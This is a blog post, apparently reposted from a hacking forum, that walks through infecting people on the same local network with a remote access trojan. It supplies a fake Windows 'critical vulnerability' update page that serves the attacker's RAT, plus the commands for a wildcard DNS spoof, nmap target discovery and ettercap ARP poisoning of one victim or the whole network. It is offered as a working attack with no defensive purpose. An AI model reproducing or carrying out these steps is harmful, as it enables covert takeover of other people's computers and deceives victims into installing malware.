Way To Hackintosh : Lan hacking

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="post_body" id="pid_1436953">
This is how to get someone to download your rat if you're on the same network<br />
<br />
This isn't supposed to be some amazing tutorial. I just want to have 
this so I don't have to keep answering he same damn question over and 
over again..<br />
<br />
Start by downloading backtrack 5 and burning the iso.<br />
<br />
<div class="codeblock">
<div class="title">
Code:</div>
<div class="body" dir="ltr">
<code>http://www.remote-exploit.org/backtrack_download.html</code></div>
</div>
<br />
Boot into backtrack and open the file browser, and browse to /var/www/. There will be file called index.html. <br />
Open it with kate (or some other text editor) delete the code that is in there and copy in the following code.<br />
<br />
<div class="codeblock">
<div class="title">
Code:</div>
<div class="body" dir="ltr">
<code><body><br />
<p align="center" class="style2">Critical Vulnerability in Windows
 XP, Vista, Windows 2000 detected. Download and installation of upgrade 
required. </p><br />
<p align="center"><br />
<input align="center" type="button" name="Button" value="Download 
Update" onClick="window.open('/windowsupdate.exe', 'download'); return 
false;"><br />
</p><br />
<p align="center" class="style2"></p><br />
<p>&nbsp;</p><br />
<form id="form1" name="form1" method="post" action="/upgrade.exe"><br />
<label for="D"></label><br />
</form><br />
<p align="left" class="style4">&nbsp;</p><br />
</body><br />
</html></code></div>
</div>
<br />
Now copy your rat into the same directory and name it windowsupdate.exe<br />
<br />
Start apache<br />
<br />
<div class="codeblock">
<div class="title">
Code:</div>
<div class="body" dir="ltr">
<code>/etc/init.d/apache2 start</code></div>
</div>
<br />
open firefox and navigate to 127.0.0.1. Your fake update page should show up.<br />
<br />
Now set up the dns_spoofing configuraton<br />
<br />
<div class="codeblock">
<div class="title">
Code:</div>
<div class="body" dir="ltr">
<code>echo "* A 192.168.1.101" >> /usr/share/ettercap/etter.dns</code></div>
</div>
<br />
Replace 192.168.1.101 with your own ip (ifconfig)<br />
<br />
Use nmap to find your target ip<br />
<br />
<div class="codeblock">
<div class="title">
Code:</div>
<div class="body" dir="ltr">
<code>nmap -sP your_subnet/24</code></div>
</div>
<br />
Now arp-poison with ettercap using the dns_spoof plugin.<br />
<br />
<div class="codeblock">
<div class="title">
Code:</div>
<div class="body" dir="ltr">
<code>ettercap -T -i wlan0 -M arp:remote /192.168.1.1/ /192.168.1.102/ -P dns_spoof</code></div>
</div>
<br />
replace 192.168.1.102 with your target's ip.<br />
replace 192.168.1.1 with your gateway ip.<br />
replace wlan0 with your interface.<br />
<br />
If you want to target everyone on the network you can use the following command.<br />
<br />
<div class="codeblock">
<div class="title">
Code:</div>
<div class="body" dir="ltr">
<code>ettercap -T -i wlan0 -M arp:remote /192.168.1.1/ // -P dns_spoof</code></div>
</div>
<br />
Now every time they try to navigate to a web page, they will be redirected to your update page.<br />
Some people will be suspicious but after 5 min of not being able to browse, anyone will give in.<br />
<br />
Once you get remote access stop ettercap right away and run the following command in the target computer's cmd.<br />
<br />
<div class="codeblock">
<div class="title">
Code:</div>
<div class="body" dir="ltr">
<code>ipconfig /flushdns</code></div>
</div>
<br />
This will let them browse again.</div>
<hr style="background: #000; width: 20%;" />
<div style="text-align: center;">
<br /></div>
</div>